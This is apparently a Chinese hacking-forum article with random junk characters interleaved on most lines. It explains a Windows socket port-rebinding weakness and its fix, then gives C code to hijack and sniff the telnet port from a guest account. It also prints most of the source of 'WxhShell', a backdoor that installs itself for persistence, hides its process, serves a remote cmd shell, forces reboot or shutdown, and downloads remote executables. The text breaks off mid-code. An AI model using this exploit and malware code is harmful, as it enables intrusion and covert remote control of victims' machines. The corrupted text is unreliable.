在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
K p3}A$uV s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
};/QK* z M9#1^X saddr.sin_family = AF_INET;
"O&93#8 *'<AwG& saddr.sin_addr.s_addr = htonl(INADDR_ANY);
9u B?-. _pvB$& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8Bf> kRp]2^}\s\ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
@I_cwUO *o6}>; 这意味着什么?意味着可以进行如下的攻击:
8+zW:0"[ !#tVQ2O 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
)pB#7aEw #2{-6ey 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
Dp@XAyiA[ f-ltV<C_ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
m|a9T#B( '0<d9OlJ} 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
g 9_ zkGc7 Y[
G_OoU 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
'solCAy Z*,e<zNQ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
~6[?=mOi' h [TwaR 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
Wh[QR-7Ew YB#fAU #include
C"hN2Z!CD| #include
SQp|
#include
ks405 #include
A~zn; DWORD WINAPI ClientThread(LPVOID lpParam);
P}bIp+ int main()
eV;r /4 {
4>JSZ6i#n WORD wVersionRequested;
!b8V&< DWORD ret;
oV|O`n WSADATA wsaData;
O[@!1SKT0 BOOL val;
E$d#4x SOCKADDR_IN saddr;
k(gbUlCc SOCKADDR_IN scaddr;
|{(<A4W int err;
3Cf9'C SOCKET s;
&?<uR)tl SOCKET sc;
|;ztK[( int caddsize;
<r%K i`u(p HANDLE mt;
]a $6QS DWORD tid;
du65=w4E! wVersionRequested = MAKEWORD( 2, 2 );
AIF?>wgq err = WSAStartup( wVersionRequested, &wsaData );
> p`, if ( err != 0 ) {
q+g,?;Yx printf("error!WSAStartup failed!\n");
wk(25(1q return -1;
0w?da~ }
_~kw^!p>Kr saddr.sin_family = AF_INET;
P/%7kD@5;
Q!X?P //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
v"*r %nCi iaGA9l<b saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
\PrJy6& saddr.sin_port = htons(23);
r\NqY.U& if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
l:HQ@FX {
7?P'f3)fG printf("error!socket failed!\n");
``MO5${ return -1;
&@~K8*tmK }
"LBMpgpU val = TRUE;
-y`Pm8 //SO_REUSEADDR选项就是可以实现端口重绑定的
m+QS -woHn if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
0'^M}&zCi {
FP@_V-
printf("error!setsockopt failed!\n");
73Dxf - return -1;
Lg:1zC
}
|G j.E //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.N(R~_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
2/-m-5A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
}$ y.qqG )gpN
5TDd if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
(zhZ}C,VF {
_i=*0Q ret=GetLastError();
>AEp\* printf("error!bind failed!\n");
(,At5T return -1;
l@`k:? }
YPK@BmAdE listen(s,2);
`?VK(<w0q while(1)
.k#PrT1C {
pa-*&p caddsize = sizeof(scaddr);
Y3~Uz#`SU //接受连接请求
Np\NStx2 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
$tlBI:ay1 if(sc!=INVALID_SOCKET)
+17!v_4^ {
ko%mZ0Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
7%h;To-<6 if(mt==NULL)
uQ=u@qtp {
2/SUEnaLy_ printf("Thread Creat Failed!\n");
=!Ik5LiD break;
| W@ ~mrO }
xQR/Xp!h }
/_{-~0Z=@B CloseHandle(mt);
l;-2hZ }
|
BaEv\$K closesocket(s);
tP_.-// WSACleanup();
=Jp:dM* return 0;
f]*;O+8$LN }
9Og DWORD WINAPI ClientThread(LPVOID lpParam)
{-)^?Zb
@ {
yLRe'5#m SOCKET ss = (SOCKET)lpParam;
;CO qu#( SOCKET sc;
"8Dm7)nB unsigned char buf[4096];
0hY3vBQ! SOCKADDR_IN saddr;
uQG|r)
long num;
S @[]znH DWORD val;
u<j;+-]8h DWORD ret;
*,u{,$}2 //如果是隐藏端口应用的话,可以在此处加一些判断
u?V}pYX //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
k7uX!} saddr.sin_family = AF_INET;
taDe^Istj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
Boj R" saddr.sin_port = htons(23);
-axKnfj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
_J*l,]}S {
zE;|MU@| printf("error!socket failed!\n");
v:lkvMq|= return -1;
r?KRK?I }
8B ,S_0! val = 100;
"s@Hg1 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
Vc0j)3 {
ESviWCh0Fl ret = GetLastError();
DXJw)%G
w return -1;
"d}']M?-h }
!I|_vJ@< if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
}
e w{WD {
!- [ZQ ret = GetLastError();
7(5d$ W return -1;
<j,I@% }
:@p]~{m :G if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
H/t0# {
C;ab-gh printf("error!socket connect failed!\n");
WiZkIZ closesocket(sc);
Y"ta`+VJ closesocket(ss);
j7d^ga-` return -1;
0aq{Y7sYU }
DK2Wjr; while(1)
b+Sj\3fX {
"[/W+&z[~ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
#Br`;hL<T //如果是嗅探内容的话,可以再此处进行内容分析和记录
wg_Z@iX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
;=2JbA+"G num = recv(ss,buf,4096,0);
A99;bf}" if(num>0)
nVlZ_72d send(sc,buf,num,0);
Q@p'nE, else if(num==0)
DI/d(oFv` break;
},<Y
\
num = recv(sc,buf,4096,0);
GRpwEfG if(num>0)
lhQMR(w^ send(ss,buf,num,0);
QP"5A7=m else if(num==0)
|0^IX break;
d~.hp }
%/)z!}{ closesocket(ss);
zp4@T) closesocket(sc);
|+~P; fG return 0 ;
Ur[ai6LNG }
{OQ)Np! RYl{89 \7UeV:3Ojn ==========================================================
&]f8Xd LvGo$f/9 下边附上一个代码,,WXhSHELL
3Zz_wr6 @6[aLF]F ==========================================================
dtQ3iuV % U_9|ED: #include "stdafx.h"
dXWG`G_
'mv|6Y #include <stdio.h>
~hP]<$v #include <string.h>
V1i^#; #include <windows.h>
eMOp}.zt| #include <winsock2.h>
eZL!Z! #include <winsvc.h>
rIyIZWkI #include <urlmon.h>
Vs>e"czfm/ =%77~q-HL #pragma comment (lib, "Ws2_32.lib")
JBV
06T_4o #pragma comment (lib, "urlmon.lib")
AgDXpaq ;M+~e~ #define MAX_USER 100 // 最大客户端连接数
B|>eKI #define BUF_SOCK 200 // sock buffer
p:|7d\r #define KEY_BUFF 255 // 输入 buffer
R{B5{~m>W@
8`<3rj #define REBOOT 0 // 重启
qe uc^+P; #define SHUTDOWN 1 // 关机
HS.eK#:N -Lsl #define DEF_PORT 5000 // 监听端口
Ngrj@_J Ch=jt*0 #define REG_LEN 16 // 注册表键长度
[MAvU?; #define SVC_LEN 80 // NT服务名长度
}Zp[f6^Q pfMmDl5| // 从dll定义API
xM&`>`;^e typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
<UW-fI)X typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
%u?A>$Jn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
JWQd6JQ_~V typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
e9F+R@8 On;7 // wxhshell配置信息
9KL)5_6 M struct WSCFG {
) Cm95,Y int ws_port; // 监听端口
;%/}(&E2 char ws_passstr[REG_LEN]; // 口令
7Zh#7jiZ` int ws_autoins; // 安装标记, 1=yes 0=no
Mn*v&O : char ws_regname[REG_LEN]; // 注册表键名
RHI?_gf& char ws_svcname[REG_LEN]; // 服务名
(]"`>,ray char ws_svcdisp[SVC_LEN]; // 服务显示名
Z(ToemF)hi char ws_svcdesc[SVC_LEN]; // 服务描述信息
bL%-9BG char ws_passmsg[SVC_LEN]; // 密码输入提示信息
No'Th7=|S int ws_downexe; // 下载执行标记, 1=yes 0=no
|x ir93 | char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
#!jwn^yq char ws_filenam[SVC_LEN]; // 下载后保存的文件名
|Mnc0Fgvy, k~iA'E0- };
uF@DJX}> ,/-DAo~O // default Wxhshell configuration
X$<CIZ struct WSCFG wscfg={DEF_PORT,
IP#qT
`=} "xuhuanlingzhe",
mN"g~o* 1,
1[(/{CClB "Wxhshell",
WQNFHRfO*n "Wxhshell",
V4?]NFK "WxhShell Service",
*5" )3\/ "Wrsky Windows CmdShell Service",
9,wU[=. 0 "Please Input Your Password: ",
Mir(
}E 1,
(7|!%IO. "
http://www.wrsky.com/wxhshell.exe",
}ho6 "Wxhshell.exe"
pE]s>Ta };
DLEHsbP{$ %xwtG:IKEV // 消息定义模块
NvJ}|w,Z char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
;/(<yu48 char *msg_ws_prompt="\n\r? for help\n\r#>";
O<+x=>_ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
aB~=WWLR\ char *msg_ws_ext="\n\rExit.";
7eyx cr;z char *msg_ws_end="\n\rQuit.";
'dd[=vzK char *msg_ws_boot="\n\rReboot...";
wN$u^] char *msg_ws_poff="\n\rShutdown...";
?_@Mg\Hc char *msg_ws_down="\n\rSave to ";
tZN'OoZ &BRi& &f char *msg_ws_err="\n\rErr!";
BA`K ,#Ft7 char *msg_ws_ok="\n\rOK!";
(x8D ]a MMyJAGh
^G char ExeFile[MAX_PATH];
e`t-:~' int nUser = 0;
HAGpM\Qa HANDLE handles[MAX_USER];
tQ(gB_ int OsIsNt;
-Z&9pI(3R~ { VFr8F0*H SERVICE_STATUS serviceStatus;
XjJ[7"hs* SERVICE_STATUS_HANDLE hServiceStatusHandle;
%g=SkQ&d 1|H(q // 函数声明
y(=$z/ int Install(void);
ck#MpQ!An int Uninstall(void);
JX2@i8[~ int DownloadFile(char *sURL, SOCKET wsh);
u*<knZ~ty int Boot(int flag);
f VpE&F void HideProc(void);
wT^Q O^. int GetOsVer(void);
3W"l}.&ZJ" int Wxhshell(SOCKET wsl);
)\fLS d void TalkWithClient(void *cs);
Wt9'-"c int CmdShell(SOCKET sock);
>jg"y int StartFromService(void);
vC%8-;8{H int StartWxhshell(LPSTR lpCmdLine);
0I"r*;9?K t(5PKD#~Dc VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
H4IJLZ3G VOID WINAPI NTServiceHandler( DWORD fdwControl );
P^& =L&U 9 az{j1 // 数据结构和表定义
q;=! =aRg SERVICE_TABLE_ENTRY DispatchTable[] =
cP`[/5R {
=.8fES {wscfg.ws_svcname, NTServiceMain},
VL| q`n {NULL, NULL}
}ujl2uhM };
fHR^?\VVp FR? \H"'x // 自我安装
^Qa!{9o[ int Install(void)
y-#01Z {
y6N }R char svExeFile[MAX_PATH];
2mfKy9QxO HKEY key;
2(K@V6j$M strcpy(svExeFile,ExeFile);
jP"l5 M5T4{^i // 如果是win9x系统,修改注册表设为自启动
vC>8:3Zaq if(!OsIsNt) {
XPsRa[08WK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
bz\-%$^k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
J0O wzO RegCloseKey(key);
ud:5_* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
"6
\_/l RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CH+mzy RegCloseKey(key);
#Zt(g( T return 0;
XX[CTh?O% }
6PdLJ#LS }
4g^Xe- }
R.$1aqA} else {
vvmG46IgZ [ T!0ka // 如果是NT以上系统,安装为系统服务
vG'I|OWg SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Z[?zaQ$ if (schSCManager!=0)
y;xY74Nq {
'jj|bN SC_HANDLE schService = CreateService
= &"x6F.` (
^q)AO?_ schSCManager,
_fE$KaP wscfg.ws_svcname,
A#KfG1K> wscfg.ws_svcdisp,
\zx$]|AQ SERVICE_ALL_ACCESS,
}\3jcnn SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Z|6,*XEc SERVICE_AUTO_START,
G%5ZG$as SERVICE_ERROR_NORMAL,
O"V;otlC svExeFile,
tv'=xDCp NULL,
pUD(5v*0R NULL,
GW\66$| NULL,
O
=0j I NULL,
uN+]q qCf NULL
:hFKmoy# );
RAB'%CY4 if (schService!=0)
Z,1b$:+ {
Y4Y~ep CloseServiceHandle(schService);
6'45c1e CloseServiceHandle(schSCManager);
0AD8X+M{P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
%:e.ES strcat(svExeFile,wscfg.ws_svcname);
P87Lo4Rd if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
2wwJ>iR` RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
*"Uf| RegCloseKey(key);
FW)VyVFmk return 0;
pj#l s }
Pmdf:?B }
bZW dd6 CloseServiceHandle(schSCManager);
V_/.]zQA }
r t'pc\|O& }
;LqpX!Pi
f dCpDA a3 return 1;
DPr~DO`b }
]\m>N]P] zvK'j"Wq= // 自我卸载
3@42uG> int Uninstall(void)
MFQyB+Z
{
eI,H HKEY key;
M@+Pq/f: 53WCF[ if(!OsIsNt) {
+E-CsNAZ*" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
B
*%ey? RegDeleteValue(key,wscfg.ws_regname);
qL4s@<|~ RegCloseKey(key);
n?*r, )' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
89Ir}bCr RegDeleteValue(key,wscfg.ws_regname);
X& mD/1 RegCloseKey(key);
6bN8}\5 return 0;
3JEg3|M( }
'0w</g }
D)tL}X$ }
4W#DLip9 else {
1gQ_76Yck 8SA"
bH: SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
6aLRnH"Ud if (schSCManager!=0)
+xd@un[r< {
2Z>8ROv^X SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
<nTZs`$LwL if (schService!=0)
$0k7W?tu {
U"=Lzo.0 if(DeleteService(schService)!=0) {
ZUkM8M$c CloseServiceHandle(schService);
[*M': CloseServiceHandle(schSCManager);
>gDeuye return 0;
k~F;G=P }
zf>*\pZE CloseServiceHandle(schService);
)-0+O=v }
6j!idA!' CloseServiceHandle(schSCManager);
JIIc4fyy8s }
vVP.9( }
}2Tq[rl~s *d`KD64 return 1;
QQHQ3\ }
zf&:@P{ uW
[yNwM // 从指定url下载文件
,}O33BwJp int DownloadFile(char *sURL, SOCKET wsh)
r.lHlHl {
TB-dV'w HRESULT hr;
KY}H- char seps[]= "/";
% m"Qg< char *token;
.9N7` char *file;
uq;yR[w" char myURL[MAX_PATH];
wqi0%Cu* char myFILE[MAX_PATH];
684|Uuf7 r6kJV4I=re strcpy(myURL,sURL);
JEaTDV_ token=strtok(myURL,seps);
T@*'}* while(token!=NULL)
^`B;SSV {
}%z%}V@(& file=token;
\|6VGh \Z token=strtok(NULL,seps);
t0GJ$]) }
Rj4C-X4= \7%#4@;? GetCurrentDirectory(MAX_PATH,myFILE);
hO&_VCk strcat(myFILE, "\\");
N.H<'Q8& strcat(myFILE, file);
jJ-C\
v send(wsh,myFILE,strlen(myFILE),0);
gO)":!_n W send(wsh,"...",3,0);
T2/:C7zL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vS)>g4 if(hr==S_OK)
R :(-"GW' return 0;
ma+AFCi else
".%d{z}vz return 1;
7RWgc]@?> co3\1[q"b }
fIl!{pv[ /s~S\dG // 系统电源模块
[61*/=gWe int Boot(int flag)
k@un}}0r {
yW(|auq HANDLE hToken;
,oh;(|= TOKEN_PRIVILEGES tkp;
Eh ";irE ]gg(Z!|iQ if(OsIsNt) {
PCHspe9!y OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
M:{Aq&. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-YAtM-VL tkp.PrivilegeCount = 1;
YcX\t6VK tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
(y 7X1Qc) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
KMz!4N if(flag==REBOOT) {
^a_a%ws if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
IlB8~{p_ return 0;
Y}v3J(l }
y:}qoT_. else {
jT=|!,Pn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
R-j*fO} return 0;
3_Xu3hNH! }
gWGDm~+ }
CpmT* else {
_OTVQo Ap if(flag==REBOOT) {
- ~|Gwr" if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
SXZ9+<\ return 0;
T1$E][@Iv }
NeG`D' else {
NFZ(*v1U if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
7!pKlmQ return 0;
lQHF=Jex }
Vv}R
S@4U }
!T][c~l 9+^)?JUYll return 1;
fk5'v }
5M~{MdF|. %7)TiT4V // win9x进程隐藏模块
dHXe2rTE;& void HideProc(void)
'R79,)|;[ {
{uaDpRt p35=CX`T. HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
M% \T5 if ( hKernel != NULL )
uLS]=:BT {
*y?HaU pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
[~s+,OO9) ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
\D? '.Wo% FreeLibrary(hKernel);
9kH~=`: ? }
lx%c&~.DiB II=`=H{ return;
P_1WJ }
`Npa/Q _xaum // 获取操作系统版本
mvEhP{w int GetOsVer(void)
A-CU%G9 {
CUI3^;&S OSVERSIONINFO winfo;
K
{'
atc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
;\mX=S|a GetVersionEx(&winfo);
Cdz&'en^ if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
0!\C@wnH return 1;
ZL6HD n! else
9&eY<'MgP return 0;
_YF>Y=D- }
NZvgkci_(u yxt"vm;
// 客户端句柄模块
T UcFx_ int Wxhshell(SOCKET wsl)
8!{*!|Xd {
avRtYL SOCKET wsh;
?Ij(B}D struct sockaddr_in client;
JY,$B-l DWORD myID;
aj&L
Z DD6 +#FqC/`l while(nUser<MAX_USER)
Ib# -M;{ {
hu}$ \ int nSize=sizeof(client);
el9P@r0 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
=0g!Q if(wsh==INVALID_SOCKET) return 1;
MYS`@%ZV#k }HoCfiE=X handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
M}\h?s if(handles[nUser]==0)
Ss>pNH@c closesocket(wsh);
F06o-xH= else
yJ $6vmQ nUser++;
c;VqEpsbl }
9eMle?pF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
<L-F3Buu >O-KJZ'GV return 0;
\?xM%(:<Q }
r].n=455[ f$C{Z9_SX // 关闭 socket
"2cOS PpQL void CloseIt(SOCKET wsh)
6gV*G {
Lnh=y2 closesocket(wsh);
kB
8^v7o nUser--;
Z2g'&,uc# ExitThread(0);
>w
S'z]T9 }
pm6#azQ bJ^h{] // 客户端请求句柄
`8!9Fp void TalkWithClient(void *cs)
>rd#,r {
|MwV4^ E-z5mX.2 SOCKET wsh=(SOCKET)cs;
:$k*y%Z*N& char pwd[SVC_LEN];
;,f\Wf"BW char cmd[KEY_BUFF];
z?o8h
N\ char chr[1];
2&1mI>:F int i,j;
9;@p2t*v E 2nz while (nUser < MAX_USER) {
;U* /\+*h cC/h7odY if(wscfg.ws_passstr) {
P 45Irir if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
7gC?<;\0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4aXIRu%#7 //ZeroMemory(pwd,KEY_BUFF);
G2`z?);1b i=0;
( /]'e} while(i<SVC_LEN) {
d[a(uWEl &A0OYV3i. // 设置超时
W==~9 fd_set FdRead;
!..<_qfw struct timeval TimeOut;
OC=&!< FD_ZERO(&FdRead);
c*IrZm FD_SET(wsh,&FdRead);
h( | T. TimeOut.tv_sec=8;
=5|7S&{ TimeOut.tv_usec=0;
4XpWDfa.} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
V^_A{\GK if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
_T\ ~% !Z$d<~Mq q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
'z$N{p40m pwd
=chr[0]; :&BPKqKp
if(chr[0]==0xd || chr[0]==0xa) { &L8RLSfX
pwd=0; xUdF.c
break; xM jn=\}
} ]C \+b<
i++; TQ"XjbhU;X
} dtTn]}J
_b&|0j:Ud
// 如果是非法用户,关闭 socket a'VQegP(f\
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); D+7xMT8pqH
} aXe&c^AR
digc7;8L
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MPB[~#:
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :60vbO
Sdq}?- &Sa
while(1) { =$'>VPQ
63fYX"
ZeroMemory(cmd,KEY_BUFF); ,.)wCZ,wca
/v!yI$xc
// 自动支持客户端 telnet标准 Y|tHU'x
j=0; j,YrM?Xdo
while(j<KEY_BUFF) { L)'G_)Sl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w.m8SvS&b
cmd[j]=chr[0]; PxKBcx4o`
if(chr[0]==0xa || chr[0]==0xd) { Rpn<"LIoB:
cmd[j]=0; YSnh2 Bq
break; %2 r~
} Z=Y29V8
j++; K,S4
} iK}p#"si
yy3rh(ea
// 下载文件 E1QJ^]MG.
if(strstr(cmd,"http://")) { pBqf+}g4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); !9d7wPUFr
if(DownloadFile(cmd,wsh)) }c,b]!:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); do" m=y
else O=Su
E/q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 0,hs%x>v
} P'~`2W0sz
else { Z %pc"
S1=P-Ao
switch(cmd[0]) { WuK<?1meN
Iy)1(upM
// 帮助 uda++^y:
case '?': { *;Kp"j
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {a[BhK'g
break; UBd+,]"f
} S*l/
Sa@
// 安装 h8V*$
case 'i': { 2Bt/co-~4
if(Install()) S?v/diK ]J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 75\ZD-{T:
else 4X=VNORlU0
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rmg\Pa8W>
break; 2|k$Vfz
} FG${w.e<
// 卸载 8~U
^G[!
case 'r': { ~gX1n9_n
if(Uninstall()) uzp\V
39
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ld(60?z>FH
else *(x.egORd
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 21!X[)r
break; ~ZafTCa;
} nf
pO
// 显示 wxhshell 所在路径 -'c
qepC{T
case 'p': { APl]EV"l
char svExeFile[MAX_PATH]; *k(FbZ
strcpy(svExeFile,"\n\r"); Dbn~~P
strcat(svExeFile,ExeFile); 45 biy(qa
send(wsh,svExeFile,strlen(svExeFile),0); C).\ J !
break; 1V,@uY)s
} |k~AGc
// 重启 ,X/j6\VBO
case 'b': { {^oohW -
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |>}CoR7
if(Boot(REBOOT)) 8YZ9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3?E7\\/R
else { q&=z^Ln!G
closesocket(wsh); ?EUg B\
ExitThread(0); 23CvfP
} ;8[VCU:
break; <^nS%hXEr
} K2*rqg
// 关机 A"r<$S6
case 'd': { POk5+^
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6EC',=)6R
if(Boot(SHUTDOWN)) w*{{bISw|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bEF2-FO
else { l]wfL;u
closesocket(wsh); FW[|Zq;}
ExitThread(0); .?:#<=1
} p+b/k2Q
break; #;99vwc
} e
oE)Mq
// 获取shell DD/B\
case 's': { VMABj\yG
CmdShell(wsh); 1Z 0Qkd(
closesocket(wsh); H%vgPQ8
ExitThread(0); p7AsNqEp
break; .S:(O+#Gm
} 5~pxu
// 退出 pcv\|)&}
case 'x': { ms3"
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <f
(z\pi1
CloseIt(wsh); Z>UM gu3c
break; P7>\j*U91{
} T0A=vh;S
// 离开 e
6wevK\
case 'q': { 0v EQgx>
send(wsh,msg_ws_end,strlen(msg_ws_end),0); !L+b{
closesocket(wsh); LV ]10v6
WSACleanup(); - 5v{p
exit(1); 6 _V1s1F
break; 5222"yn"c
} K:e[#b8:R
} j0"4X
} s5v}S'uO{
Z;NaIJiL-
// 提示信息 Qn$YI9t
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C/
VHzV%q
} },X.a@:
} `_.:O,^n^
\0Xq&CG=E
return; Lo}T%0"G
} > {d9z9O
$ r-rIW5\
// shell模块句柄 IRR b^Q6
int CmdShell(SOCKET sock) uEhPO
{ 3-AOB3](
STARTUPINFO si; &hZ.K"@7{
ZeroMemory(&si,sizeof(si)); ]N\D^`iQ
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UdcV<#
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~233{vh$=>
PROCESS_INFORMATION ProcessInfo; Z6M
qcAJ3j
char cmdline[]="cmd"; {|0YcL
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nm_taER
return 0; C \5yo
} ?N9Z;_&^.
CX2qtI8N?
// 自身启动模式 PYNY1|3
int StartFromService(void) ?.-+U~
{ 2^=.f?_YR
typedef struct w87$p821
{ X%og}Cfi
DWORD ExitStatus; zgGJ<=G.
